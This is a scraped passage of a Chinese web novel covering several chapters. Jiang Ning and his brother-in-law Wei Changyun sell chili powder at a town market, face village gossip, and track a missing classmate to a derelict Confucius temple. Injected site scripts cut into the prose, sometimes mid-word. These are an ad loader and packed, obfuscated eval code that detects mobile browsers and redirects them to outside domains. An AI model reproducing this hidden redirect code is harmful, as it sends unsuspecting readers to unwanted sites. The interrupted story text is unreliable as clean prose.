过,招呼他到家里吃饭,虽都是客气话,却让街头巷尾多出几分烟火人情。 快到竹林时,恰好从王栓家经过,王栓爹王邦坐在院子里,嚷嚷着让王栓娘赶紧做饭,语气满是不耐烦。 “哎,这不是卫二郎吗?从哪来啊?我表舅家里啊,也是,老头子教过你,是你老师,他病了你不去看,那不是大逆不道吗?” 王邦趴在院墙上,伸着脖子搭话,“嫁给你大哥那个姜家哥儿,好凶的脾气,给我栓子骂了几回,你可得管管,也太不像话了。” 卫长昀停了一下,转头看王邦,“家中长嫂性子温和、深明大义,岂会骂人?王叔这话,怕是太护短了。” 王邦“嘿”了一声,语气一下凶了,“那还能是我家栓子的错?一个小哥儿不好好守寡,成日在村里晃悠,谁知道存的什么心思。” 卫长昀眉头紧皱,不悦都写在脸上,“家中大小事都要他操持,难道失了丈夫就不能外出了?” “荒谬。” 丢下这句话,卫长昀径直离开,没再搭理王邦在身后的嚷嚷。 等砍完竹子回到家,姜宁正端着盘子从厨房出来。 “回来了?”姜宁弯腰放下盘子,擦了擦手,“一会儿再砍吧,我跟你一起,先去洗手来吃饭。” 卫长昀把新鲜的竹子抱到角落堆着,一边拍衣摆一边去水缸旁舀水洗手。 “二爷的病好些了吗?” 姜宁帮着摆好椅子,“老人家生病是要好得慢些,你别太担心。” 卫长昀擦着手走过来,“还是咳嗽,不过在好转了。” 想到他要去学堂代课的事,又道,“老师担心学堂的课,我打算代他去一个月。” 闻言姜宁一愣,“教村里的孩子?” “嗯,都是不足十岁的孩子,教的也不复杂,千字文、三字经这些。”卫长昀接过朱氏拿来的碗筷,一一摆好,“不会耽误家里的活。” 姜宁挑了下眉,直直看他,“你怕我不让你去?” “不是。”卫长昀答得很快,“嫂嫂不会,反而会很高兴我去代课。” “那你解释什么?”姜宁问他,“是怕家里的活累着我?” 卫长昀点头,没遮掩或者不好意思,“嗯。” 姜宁开玩笑的话还没说出口,又听他先说。 “为了让我安心代课,嫂嫂必定会把一些活自己拿去做了。”卫长昀不加掩饰道:“你只怕自己少做了,让我兼顾不了两头。” 几句话说得姜宁语塞,尴尬地咳了一声。 姜宁不是那种奉献人格的人,家里的大小事情都自己揽了,是该给谁做谁就做。 可要卫长昀去代课,他自然是要多分担一些,不然兼顾两头的结果就是哪边都做不到好。 “从前不知道你这般会说话。” 姜宁轻笑一声,没生气也没反驳,“能说会道,的确是个当先生的料。” 卫长昀不解看他,等着他下一句话。 “卫小先生只管放心,该你做的事,一件不会少。” 姜宁眨了下眼,没管卫长昀脸上的表情变化,转身进了厨房,去帮朱氏端最后一道菜。 28.第 28 章 卫小先生。 因着姜宁这一句称呼,直到去学堂里给孩子们上课那日,卫长昀都还有些恍惚。 从他五岁念书识字起,漫长的岁月中,他也曾想过有朝一日,能像杨二爷那样教书育人。 万万没想到的是,第一个称呼他“先生”的人,会是姜宁。 永安镇的集市是一旬一集,因为姜宁的扭伤还没好全,卫长昀趁着还有时间,不仅把竹筒砍好晾着,还包揽了大部分捣辣椒面和切土豆的活。 “长昀哥?” 卫长昀回过神,看向叫自己的杨修远,“何事?” 杨修远拿着一卷翻薄的书,道:“这里我有些不太明白。” 卫长昀垂眼看去,发现是千字文中的一句,“罔谈彼短,靡恃己长”。 “这一句的意思是,不谈论他人短处,亦不要夸耀自己的长处。” “这是……什么意思?”杨修远明白了字面意思,却还是没明白为何这么做。 卫长昀看眼外面的天色,如今已经四月,早过了暮春时节,再过不久,就会迎来初夏。 夏日昼长夜短,天暗得也比以往要晚些。 “祸从口出、怨由言生,不知他人经历就妄自议论人家短处,既是狭隘,亦是不尊。” 卫长昀起身,一边和杨修远往外走一边道:“靡恃己长,则是人要懂得分寸,事事夸耀自己长处,一则太过自负,二则太过无知,山外有山、人外有人,岂知没有人比你更为精通。” 杨修远不过十岁的年纪,似懂非懂地点了点头,“我好像懂了。” 闻言卫长昀失笑,摸了摸他的头,“不急,能知六七分,已是不错了。” 杨修远却道:“可阿爷说,你在我这般年纪,已经很厉害了,让我向你学习。” 卫长昀一愣,没想到杨二爷在背后是这样说自己,想起从前苦读的日子,有些怅然。 明年的院试他得比旁人更努力,才能从中脱颖而出,否则便又要再等三年。 若是院试中了,紧接着就是秋闱、春闱。 从前觉得长远的事,竟是也没有多久了。 “回家去吧,今日的课就到这里。”卫长昀收起思绪,看向不远处的杨家,“代我向你阿爷问好。” 杨修远应声道:“知道了。” 卫长昀目送杨修远走了一段路,这才从另一条路往家里走。 另一边,姜宁正坐在小板凳上,拿着勺把辣椒往竹筒里装,打算明天卖十五文一罐。 按照他心里的物价,十五文已经算是很划算了。 毕竟还送一个竹筒呢,竹筒可以当筷子篓用,也可以反复利用,怎么不算是一种消费。 “宁哥儿,明天赶集……”朱氏走到桌旁坐下,一边帮着装一边道:“你还是跟二郎一起去啊?” 姜宁“啊”了声,脑子没转过来,等给竹筒塞好口,才道:“是跟他一起去,之前都我们俩一块,不然这些东西一个人也拿不了。” 朱氏点了下头,眉眼垂着,看上去有些心不在焉,又像是欲言又止,“我是说,你这脚没好,要不我跟二郎一起去,你也好好养伤。” 姜宁疑惑地看着他娘,“好了啊,走起来也不怎么疼。而且不是说了,王三叔他们也要去镇上,他家有驴车,可以捎我们一程,还比之前轻松。” 朱氏抬起头,看了姜宁一眼,微张着嘴,犹豫了会儿,到底还是没说,“那就行,我是怕你脚没好全,又伤了。” 这会儿姜宁总算反应过来了,视线扫了一圈,见小小和小宝在院子里那棵石榴树下玩,才放轻了声音问:“阿娘,你是不是听到了什么?” 话音刚落,朱氏的表情倏然一变,眼神变得飘忽。 姜宁一看就知道被自己说中了,肯定是在村里听到了什么。 “阿娘,你是信他们还是信我?”姜宁并没有着急解释,反而问了一个问题。 朱氏一怔,没有反应过来,有些愣神地盯着姜宁。 她这个小儿子,从出生就体弱,一开始姜大志还想家里有个哥儿,日后可以要彩礼,请大夫来看了几回。 哪里知道一直看不好,后来姜大志就不愿意花钱了,不死就成。 朱氏的眼里,姜宁不开朗、寡言少语,却很乖巧,也有一些小机灵,知道在家里怎样不会挨骂。 哪怕偶尔会在她面前撒娇,也很少。 总之,就是和现在不一样。 “我……” “我和长昀如今是清清白白,是家人、是朋友,能一块说笑,也能一起出行,哪怕在一个屋子里,也绝不是村里那些人说的那般龌龊。” 姜宁眼神格外认真,“我欣赏他小小年纪就有责任心,可以为了一双弟妹,并无什么交集的兄嫂退学回家帮忙,自己苦读。” “可是这并不代表,我与他之间有什么见不得人的事。” 朱氏面上赧然,知道她让姜宁伤心了,“我不是觉得你们有什么,我只是怕那些人说你不好。” “旁人说什么,我哪管得了。”姜宁神色柔和了些,耐心道:“你莫要担心我,我只想把日子过好,这比什么都强。” 闻言朱氏叹了一声,放下竹筒,“宁哥儿,我怕你委屈。” 姜宁知道朱氏的心思,见她神色,反而宽慰道:“我不委屈,如今日子比从前好了许多,哪里就委屈了。” “阿娘明白了,往后不会再提这个事。”朱氏望着姜宁,温柔一笑,“宁哥儿你一直都是个好孩子,阿娘信你。” 姜宁失笑,卖乖道:“可别在长昀面前提,他心思重,本就担心我遭人非议,若知道连你也问我,怕是又要过瘾不去了。” “好好好,听你的,这话往后都不再提了。”朱氏这段日子住在这儿,心思比从前想开不少,也会开玩笑了。 “不过阿娘,我有一话总得跟你说明白。” 姜宁迟疑了一下,才道:“我过来卫家,不到一日卫大就撒手而去,你住在家里,难免去村里走动,总会听到些闲话,你莫要放心上,别气着自个。” 那些人,当着他和卫长昀的面都说得难听,背后更不知道怎么议论。 朱氏心思细,听见了不免会为他难过、委屈。 他是怕朱氏把这些都压在心里,反而苦了自己。 “什么事不能提?” 姜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宁听到声音,猛地一回头,是卫长昀回来了,手里还拿了一把菜。 “没什么,就是我爹的事。”姜宁神色自然,接着把剩下的辣椒面装完,“这些东西可沉了,明天得费不少劲儿。” 卫长昀往水缸走去,揭开盖后,往盆里舀水,“要换个地方支摊吗?怕摆不开。” “别了,换个地方万一老顾客找不到,还麻烦。”姜宁转回头来,“那你明儿还要支摊帮人写信吗?” 卫长昀道:“不了。” “先把土豆片和辣椒卖出去。” “和我想一块去了。”姜宁把最后一点辣椒装好,拎起背篓往堂屋走。 进了堂屋,姜宁才松口气。 亏得刚才那些话卫长昀没听见,不然他上次的思想工作不白做了。 他可不想再哄第二次了。 哄小孩,费劲。 夜里吃过晚饭,一家五口人都齐刷刷地坐在堂屋里,桌上放了一块木板,一头放了一个碗,里边装的是竹棋子。 简易版的五子棋。 卫长昀用竹筒剩下的边角料做的,黑色棋子还不是用墨染的,用的灶灰,泡一遍晒干,没那么黑,但能区分开来。 姜宁拿着白色的棋子,蹙眉盯着棋盘,神色严肃得像是在下围棋。 “下这里。” “这里。” “二哥,这里这里。” “宁哥哥,你下这儿。” 小小和小宝在旁边可着急了,他们以前都是在地上画了玩,第一次在棋盘上下。 姜宁撇嘴,对小小跟小宝都会玩五子连这件事,表示略有不服。 谁家不到六岁大的小孩,就会玩五子棋了? “观棋不语真君子,我自己会下。”姜宁飞快把棋子落下去,抬眼看向对面的卫长昀。 卫长昀几乎没思考,姜宁收回手的下一瞬,就又落了一子。 姜宁:“……” 这就是大佬的气质吗? “我下这里。”姜宁放下棋子,挠了下脸颊。 其实他下五子棋的水平,只能说是凭感觉。 卫长昀原本微垂着的眼抬了抬,扫向姜宁,“不改了吗?” “落子无悔,我才不改,输就输了。”姜宁一边表示不在乎地别开脸,一边眼睛瞟着棋盘。 卫长昀低笑了声,手腕放低,落下一子,“这局,是你赢了。” 姜宁一愣,眨了眨眼,这才发现自己好像歪打正着,两路都通,是赢了。 他嘴角不自觉上扬,连眼睛都盈了笑意。 “见好就收,改天再继续。”姜宁拍拍手,“明天可要早起。” 小小、小宝一听,齐声道:“宁哥哥耍赖!” 姜宁一点不害臊,起身开始收拾棋盘,“我才没有,你们该去睡觉了,不睡明天的糖我少买了啊。” 小小和小宝瞬间闭了嘴,委屈巴巴跳下凳子,一步三回头往屋里走。 姜宁哂笑着回头,就听到旁边朱氏无奈的笑声。再一抬眼,卫长昀脸上表情竟然有种无可奈何感。 姜宁:“……” 成吧,就当他年轻几岁,变回小孩了。 29.第 29 章 天蒙蒙亮,才泛起鱼肚白,卫家的厨房里,已经飘起了一阵一阵油香。 土豆片在油里一点点被炸干水分,变得酥脆诱人。 姜宁挽着袖子,不时朝旁边看去,怕卫长昀放的辣椒多了,到时候口味偏重。 卫长昀拿筷子翻搅,见姜宁看来,就会问他量够不够,倒是自觉得很。 等他俩弄完土豆片,和竹筒辣椒一块装进背篓里,天色已经接近全亮。 “要出门了啊?”朱氏披着衣裳站在房门口,“拿上水,免得一会儿渴了。” “晓得的。”姜宁说了句,帮着卫长昀扶住背篓,等他背好了才转身去拿自己那一背。 土豆片这次做了三十斤,虽然不算重,可塞满了一整个背篓,还冒出来不少。 卫长昀调整好肩上的绳条,转过来帮姜宁,“沉不沉?” 姜宁这一背篓里大多是竹筒,看着背篓小,却也不轻。 “还行,反正就一段路。” “沉就说。”卫长昀没有再说别的,只说了这三个字。 姜宁点头,看向还站在那儿的朱氏,“阿娘,你回去再睡会儿,我们下午些就回。” 朱氏答应好,却没立即进去,看着姜宁和卫长昀出了门,路上见不到身影了才回屋。 春末的早晨,雾深露重,就从家到村口这一会儿功夫,鞋面和裤边已经沾了一层水痕。 “二郎、宁哥儿,这呢!” 王三叔坐在驴车上,招手叫他们。 俩人闻声看过去,一边应声一边走过去,把东西放在板车上。 板车上放几个箩筐,是鸡蛋和鸭蛋,全是自家养的鸡,要送给镇上的一个员外家。 姜宁把东西放好,问:“三叔,就您一个人啊。” “老二病了,你婶子在家照顾他,我一个人去就成,反正是去送东西,顺道看看老大。” 王三叔示意他俩坐好,“你们多久回啊?回来要是赶得上,我一路给你们捎回来。” “还不知道,卖完东西估计都得下午了。”姜宁挪了一下位置,让卫长昀坐旁边。 卫长昀坐在靠外的板车边缘,扶着背篓,免得掉下去,腿一搭,把姜宁也给挡住了。 “叔,要不赶巧,您就自己回,不用等我们。” 卫长昀说了句,“子书这一阵没回来吗?” 他俩都坐好了,王三叔赶着驴车,不快不慢地往镇上去。 驴车没牛车、马车来得快,不过总比走路好,在村子里能有头驴已经是令人羡慕了。 “就是没回,所以我们才不放心,想着去看看,是不是在私塾碰上什么事。” 王三叔叹了口气,“子书这孩子,就是容易钻牛角尖,心思又细,打小就这样,你还记得吧,以前你俩一块去二叔家上课,他被王栓挤兑了几句,好几天都不愿意去了。” 小河村虽然不像坎子村一样,祖上都是亲戚,一个村大部分都是一个姓,可多少也沾亲带故。 杨二爷是王栓爹的舅舅,王栓得叫一声舅爷。 王三叔跟王木匠往上一背是亲兄弟,所以他俩是堂兄弟,跟王栓家出了五服,倒不算了。 赵秋的母亲姓杨,按照辈分,赵秋得叫杨二爷一声舅老爷,跟王栓家不时亲戚,但多少有些关系。 卫长昀跟他们都没关系,他家是外来的,没亲戚。 关系近一点的,就杨二爷、王三叔。 如今得算一个赵秋家,还是因为姜宁和赵秋的缘故。 “您别太担心,说不定是这一阵学业重。”卫长昀虽寡言少语,却不是不善言辞。 他一句话,叫王三叔宽慰不少。 旁边姜宁听着,不由想,卫长昀这几日在村里学堂代课的事,等他们说完了,才悄声问:“教书累吗?” 卫长昀怔了怔,反应过来道:“累。” 村里的孩子,送来学堂的大部分都是家里没人照看,找个地方放着,也好过在家里一个人。 只有教了书才知道,不是每个孩子都好学、肯学、能学。 年龄不一样,心思也就不一样。 大的不一定稳重,小的也不一定听话,总之,一堂课教下来,卫长昀深感不易。 “果然,当老师不容易。”姜宁感同身受,他以前给表弟表妹、堂弟堂妹辅导,能把自己气自闭。 “老师办学堂多年,如今才知他这些年来的难处。”卫长昀望向远处的山,神色微凛。 姜宁看向他,视线停留在他脸上,没有说话。 他知道卫长昀此刻的心情,不能说完全地相似,却和他原来想的差不多的。 山里的孩子,想要出人头地,读书已经是最好的途径。 只是放在当下,读书哪里是人人都能读的。 正因为此,陈二爷的学堂才显得更有意义。 “你呢?”姜宁算了算,卫长昀退学已经有一个多月,这会儿应当和起初想法不一样了。 闻言卫长昀转过头来,“明年院试,我会好好准备。” “你呀。”姜宁失笑,往后轻靠在箩筐上。 驴车再慢,跑得也比人快。 寻常快一个时辰的路程,今天半个时辰多点就到了镇口。 王三叔要先去送员外家送东西,跟他们不顺路,到了东市的一个路口,就把他们俩放下了。 “谢谢三叔,麻烦您了。”姜宁背好东西,把手里的一个竹筒和布包递给他,“自家做的辣子,还有烙的葱饼,给您的。” 王三叔立即要推辞,结 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 果姜宁硬塞到他怀里。 “这,你们这俩孩子,还跟叔客气啊。” “不是客气,真要客气就不敢麻烦您了。”姜宁笑着说,“反正是自家的。” 王三叔听了,乐呵呵地赶着驴车离开。 姜宁和卫长昀歇了会儿,立即熟门熟路去桥头占位置,免得一会儿被人抢了。 他们来得早,桥头除了药材摊子摆在那儿,没人看着,其他地方都还空着。 “秋哥儿去了他二姐家,不知道什么时候回,我还说叫他来家里尝尝我做的鱼。” 姜宁一边支摊一边说:“对了,那个王子书,就三叔家的老大,你们俩熟吗?” 卫长昀没想到姜宁会问,抻开布的动作顿了下,“一块在二爷那儿学了三年。” “二爷是不是常夸你,他夸得少了?”姜宁问完,看卫长昀表情就知道答案了。 “私塾你俩也是在一起,宋婶婶上回说的。” 卫长昀点头:“嗯。” 姜宁琢磨了下,摇摇头,“那他压力应该不小,毕竟跟聪明人一块上学,很容易被打击到。” 卫长昀神色微变,没有接话。 “但这也不是你的问题,你总不能为了不让旁人被打击,就不好好学吧。” 姜宁瞥向卫长昀,“等会儿卖完东西,我们去镇上转转,最好是食肆和酒楼。” 他得看看,这镇上的馆子里都卖什么。 卫长昀“嗯”了一声,显然有情绪了。 姜宁看他弯腰在那忙,眼睛转了转,忽地凑到他面前,“没说王子书不回家跟你有关,你别跟我闹脾气。” 卫长昀:“没闹。” 姜宁撇嘴,耸耸鼻尖,“小气,我只是好奇嘛。” 来的时候他听两人聊,大致猜到了一些。 同龄人一块启蒙、一块上学,还一起到了同一个私塾。私塾里的先生、同窗知道他们是同村,难免会心生比较。 王子书是个心思敏感的人,自然会因此和卫长昀疏远。 不然卫长昀提起同窗,只说了一个阿肆,未提起过王子书。 卫长昀看他一眼,轻叹一声,“我退学时,他来找过我,问我为什么,我说了缘由后,他让我少瞧不起人。” 姜宁疑惑地“啊”了声,没明白这里的逻辑。 “我说退学后会备考明年的院试。”卫长昀看出他疑惑,解释了一句。 姜宁“哦”了声,一下明白了。 这是憋着劲儿,要跟卫长昀分出个高下呢。 “那我还是看好你。”姜宁思忖了片刻,“不过你别有压力,考砸了也没什么,日子照过不误。” 说完姜宁自顾自去折腾自己的小摊了,没发现卫长昀眼底逐渐漫上来的笑。 30.第 30 章 土豆片卖了三次,这次来果然就没那么好卖了。 毕竟制作起来不难,就炸个土豆片,哪怕复刻不出来辣椒,也能糊弄一下。 镇上人再多,也不是谁都会来集上的,尤其是那些小有家底的人,更不会来集上闲逛。 东街有自己的街市,可比这边卖的东西有趣多了。 姜宁坐在一边,也不着急,有人来就卖,没人的时候东看看、西看看,好奇别人都卖什么。 前两次来,都没功夫看。 “小兄弟,今天这生意不行了啊。” 姜宁听见后转头,卖药草的大叔翘着腿,往后靠在河边的石墩上。 他笑了下,“做生意哪有天天都好,那不成财神了。” “哈哈哈哈,你个小孩倒是有意思。”大叔笑声爽朗,看了看他,“那你慢慢卖,我眯会儿。” 姜宁觉得这人怪有意思的,也跟着笑弯了眼,“那我帮着看会儿您的摊。” “这大叔,一直都在镇上吗?”姜宁凑到卫长昀旁边,小声问他。 卫长昀放下手里的秤,往旁边瞥了眼,“听阿肆说过,是个怪人,年轻时是个游医,后来不知怎么,回来时就变成了这幅样子,不再看诊,只卖药。” 阿肆是永安镇的人,家里祖祖辈辈都住在镇上,本名姓严。 镇上的大小事,多半都能从家里知道些。 “看来是个有过去的人。”姜宁嘀咕一句,忍不住又往那边瞥了眼。 放弃行医,是为什么? 碰到了什么事吗? “来一斤土豆片。” 姜宁正想着,听到有人来买东西,立即回过神,跟着卫长昀一块把土豆片称了装好。 买东西的是个年轻哥儿,身边牵着一个小孩。 “你这竹筒里装的什么?”年轻哥儿接过两袋土豆片,好奇问:“酱还是腌菜?” 刚才姜宁光顾着装东西,都没抬头。 这会儿一抬头,才发现对方长得很俊秀,打扮虽不说富贵,却也看得出不是一般人家。 “都不是。”姜宁笑着答道:“是辣椒面。” 年轻哥儿一怔,眼睛微微睁大,“是土豆片上撒的这个吗?” 姜宁点头,打开一个竹筒,“你看看。” 竹筒揭开盖,稍微靠近一点,都不用凑到口上,就能闻到麻辣的香味。 不觉得呛,反而勾人食欲。 “你这怎么卖的?”年轻哥儿显然喜欢吃辣,土豆片也不像给孩子买的,反到像给自己买的。 “我想要两个。” 姜宁没想到一开口就要两个,“十五文,这价格——” “好便宜!” “……” 年轻哥儿直接从荷包里数了四十文给姜宁,有些巴巴地盯着姜宁,“除了土豆,还能蘸别的吃吗?” 姜宁一听笑起来,敢情这是遇上个爱吃的了。 换成别人,可不一定会想到问这个。 “烤的东西,油炸的东西都可以拿这个蘸着吃。”姜宁给他说了好些,“保证蘸什么都好吃。” “闻着就香。”年轻哥儿捏捏身边小孩的手,抬头看姜宁,“你们是周边村子的人吗?” 姜宁“嗯”了声,也没扭捏,道:“家里是小河村的,做些小零嘴来糊口。” “我家是镇上的,就住在东街。”年轻哥儿飞快接话道:“我叫顾苗,你叫什么呀?” “姜宁。”姜宁报了自己名字,“你……是不是很喜欢吃?” 顾苗瞬间不好意思地挠了挠头,颊边微红,“啊,我……太贪吃了。上次我夫君从你这儿买了土豆片回去,不到一天就被我吃完了,结果你一直没来,我又馋,他试了好几次都没成功,我——” “才想问问你家在那儿,实在想吃去你家里买好了。” 闻言姜宁眼睛瞪圆,下意识看向身边的卫长昀,见他也是一脸诧异,眼神对上后,都不自觉染上笑意。 “阿爹,父亲是为你好。”旁边一直绷着小脸的小孩儿,突然一本正经开口,“吃多了不好。” 顾苗艰难地腾出手掐他脸颊,“你个小叛徒,就是他的眼线。” 说完看向姜宁,“宁哥儿,下回你来我还买,你可千万要来,不卖土豆片也行,别的我也吃。” 姜宁:“……” 这算什么?第一个会员客户吗?啊不对,死忠客户。 “我得走了,一会儿他回家看不到我,又要念叨。”顾苗叹了口气,牵着小孩,“走了,回家。” 姜宁看他要走,余光扫到背篓里的一把蕨菜,弯腰拿起来,叫住顾苗,“顾家哥儿,你等等,这个给你。” 顾苗被叫住,看见姜宁手里东西,不解问:“这是什么?” 蕨菜是用草扎成一把,被姜宁塞到顾苗手里,“蕨菜,炒腊肉、熏肉好吃。” 顾苗一听好吃,都没拒绝就收了,“谢谢!以后我照顾你生意。” 姜宁失笑,点头道:“好啊。” 他俩倒是投缘,几句话的功夫,聊得比旁人都自在。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13814964|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >目送顾苗离开后,姜宁坐回去,看着还剩下的土豆片和辣椒,“今天要晚点才能收摊了。” 卫长昀坐在他旁边,手搭在膝盖上,腰背松弛却又直挺,“不急。” 姜宁“哎”了声,看着他挑了下眉。 “卖不完,拿回家自己吃也一样。”卫长昀神色惬然,眉眼舒展,“况且,总能卖出去的。” 三十筒辣椒,还剩下七个,土豆片也只剩下八斤多点,怎么看都能卖完。 今天已经挣了五百多文,胜过大多数人家了。 “也是。”姜宁托着脸颊,眼睛四处转,“那一会儿买点肉回去,或者买只鸡回去炖来吃。” “买鸡的话,三叔家的鸡好些。” 卫长昀顺着他的话说,“肉嫩,油薄。” 姜宁不自觉地吞咽了下,低咳一声,“说得也是,哎,等会儿要是三叔还没走,问问他去,他早些回,还能帮我们把鸡杀好。” 说曹操曹操到,姜宁话音刚落,就听到桥上有人叫卫长昀,语气很着急。 姜宁和卫长昀一块转头看去,见王三叔着急忙慌地跑过来。 “长昀,宁哥儿,你们在就好,在就好。”王三顺抹了抹脸,“我家老大,他、他好些天没去私塾了!” 姜宁眼睛一下瞪大,连忙站起来,“哪天不见的?” 旁边跟着的年轻男子道:“前天,他旬假一直没休,我们都以为他是回家了。” 姜宁看向对方,没等他问,卫长昀先开了口。 “严肆,之前和你说起过的同窗。”卫长昀解释完,皱眉问道:“他的书和纸笔、衣服可都在?” 严肆点头,“都在,我们看过了,什么都没带走。” 什么都没带,却消失了三天,没在私塾,也没回家。 那这人能上哪去? 王三叔一脸急色,担心道:“你们说,他会不会——” 卫长昀打断他的话,摇了摇头,“许是散心,或者去友人家里。” 沉吟片刻,接着道:“叔,你别胡思乱想,镇上不大,我们先分头去找。” 他们有四个人,严肆和王三叔一人找一边,卫长昀原本是想自己一个人去,却被姜宁叫住,要和他一起去。 “大叔!麻烦你帮忙看会儿摊,我们去找人。” 姜宁看卖药大叔醒了,立即道:“土豆片你随便吃,谢了!” 卖药大叔才睡醒呢,懵着点了下头,就见姜宁拉着卫长昀头也不回的走了。 这脾气,比他年轻时还急。 31.第 31 章 好好一个大活人,凭空失踪,哪能啊。 怎么想都是自己躲起来了。 那边严肆和王三叔急得一路走一路问,担心人是不是出了什么事,还没到初夏,跑出一身汗来。 姜宁不是不担心,但仔细想想卫长昀和王三叔提到的话,思来想去都觉得王子书这是扛不住压力,躲起来内耗了。 比起碰到歹人遭遇不测,自己想不开的可能性更大。 “先别问了。”姜宁拉住卫长昀的胳膊,把人带到路旁,“你能不能想起一些他以前提到过的地方,比如什么山,或者酒楼、茶馆这些的。” 卫长昀怔了下,很快明白姜宁的意思。 他点了下头,眉头微蹙,立即认真思考起来。 只是片刻后,卫长昀一向清明的眼神,逐渐露出了茫然之色,眉头也舒展开。 姜宁眨了眨眼,一脸期待盯着他看,试探问:“……想到了?” 卫长昀迎上他的眼神,自然垂在身侧的手指微微一动,指腹捻了捻,“没有。” 姜宁难得的脑子宕机,“啊?” “我与他,不熟。” 卫长昀说完,立即咳了声。 姜宁:“……” 早该想到的,一个天才和一个努力的“普通人”,做朋友的可能性,几乎为零。 “那严肆知道吗?”姜宁脑子一转,问。 卫长昀摇头,“他素日里独来独往,与谁都不熟络。” 王子书从进私塾后,性子变得愈发沉默寡言,和卫长昀少年老成带来的距离感不同,他是后天变得孤僻,不愿与人交往。 要在私塾有同窗好友,倒也不至于失踪三日才发现。 “那还是接着找。”姜宁说完,抬脚往没去过的街道走,“他怕是钻了牛角尖,一时困顿。” 卫长昀跟着他走了两步,忽然想起什么,“我想起一个地方。” 姜宁迈出去的脚猛地停住,回头看他,“哪儿?” “镇外有一座庙,供奉的是孔夫子。”卫长昀边走边说:“庙不大,听老师说是很早之前,镇上几位读书人高中后一块建的。” 姜宁跟上他,好奇问:“那永安镇还挺厉害的,有些地方,别说一个镇了,连一个县也不一定能出进士。” 卫长昀神色有些严肃,眉头微皱,“往前数五十年,除了老师外,镇上只出了一位秀才,未有人再中进士。” 闻言姜宁一愣,“那这庙……” 卫长昀接过他的话,“已经没什么人去了,成了一座荒庙。” 果然,求神拜佛这件事,要是长久没有实现,那神也不再是神。 “那你要是高中,岂不是整个永安镇都跟着沾光?”姜宁好奇问。 卫长昀没想到姜宁问得这么直接,想了想,“按理说是。” 姜宁一点不意外卫长昀会这么回答,天之骄子可不会过度自谦,更何况,若真中了进士,便是光耀门楣的事,有什么好谦虚。 - 孔夫子庙离镇上有五里,光走过去,就花了不少时间。 和卫长昀说的一样,庙周围荒草丛生,乱石七零八落的,别说来祭拜的人,连借宿的乞丐、流民都没有。 “这地方倒是一个藏人的好位置,虽然荒了,好歹还有瓦遮风挡雨,也能生火取暖。” 姜宁拨开面前及腰高的草,一边往里走一边环顾四周,“不过他躲这里为什么?指望孔夫子显灵?” 卫长昀摇头,他和王子书实在不熟,平时在私塾说不到几句话。 他理解王子书因读书的事有压力,却没办法认同他逃避的行为。不及别人,哪怕是天份不同,亦可以付出更多去弥补,而不是逃避。 “你呀。”姜宁看他表情,就知道他在想什么,无奈地说了句,“鸿鹄安知燕雀的苦恼。” 并不是卫长昀没有共情能力,人和人本来就不一样,就像汝之蜜糖,彼之砒霜,人嘛,冷暖自知。 这草,长得也太高了。 这庙里真的能睡人?夜里怕是蛇虫鼠蚁到处爬。 卫长昀脚下停住,眉头不自觉蹙起,眼底浮起疑惑,一瞬不瞬地盯着走在前面的姜宁。 燕雀安知鸿鹄之志哉。 坎子村并无学堂,也没先生,以往有人家的孩子要上学,都是送到杨二爷的学堂。 姜宁是从哪里学的? “嫂嫂。” 卫长昀出声喊了姜宁。 姜宁手里拿着一根刚撇下来的木条,边答应边回头,“怎么了?” 卫长昀往前走,走到姜宁前面,给他开路,“刚才那话说反了,是燕雀安知鸿鹄之志哉。” “对啊,你是鸿鹄。”姜宁嘴比脑子快,说完之后,眼睛一眨,“老郎中每次看到大雁南归,都爱念叨这话。” 卫长昀:“……” “嫂嫂聪慧。” 姜宁:…… 不必夸了倒是,人果然不能太松弛,容易露底。 他俩各有心思,沉默着走进庙里。 荒了多年的庙里,还能看见当初刚修葺好的痕迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13830140|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 地上铺着的石板已经被撬走了不少,余下的都有裂痕,要么全是暴雨留下的水痕。 立在正中间的素色泥塑,身形高挑,着一穿长袍,双手交握。 哪怕落了一层灰,结了不少蜘蛛网,看到泥像的那瞬间,依旧令人肃然起敬。 “这里有稻草堆,还有生过火的痕迹。”姜宁看向供桌旁的角落,那儿有墙挡着,遮风挡雨的。 “看来他这几天都住这里。”卫长昀走过去,蹲下后,伸手摸了摸稻草和柴火堆。 稻草干燥,而且有被压过的痕迹,肯定有人在这儿睡。 柴火堆剩下的部分,已经凉透了,说明已经熄灭了好几个时辰。 他环顾一圈,发现地上还有字迹,是烧过的木棍写的。 卫长昀站起来,拍了拍手,“我们就在这里等他,他可能是出去找吃的。” 姜宁点头,瞥了眼四周,也没可以坐的地方,总不能坐人家的“床”上去,干脆在庙里逛起来。 卫长昀站在一旁,目光不时扫向走动的姜宁。 刚才的疑惑,正在心里一点点放大。 仔细回想,生出这样的疑惑不是第一次了。 “咚!” 庙里很安静,有一点儿动静都很明显,何况是这么大的一道重物坠地声。 姜宁和卫长昀飞快对视一眼,同时朝外面看去。 “是王子书!” 见到他们就跑,除了王子书还能是谁? 要是住在庙里的乞丐、流民,肯定进来大声质问他们了。 卫长昀抬脚追上去,不忘叮嘱姜宁,“我去追,你注意脚下。” 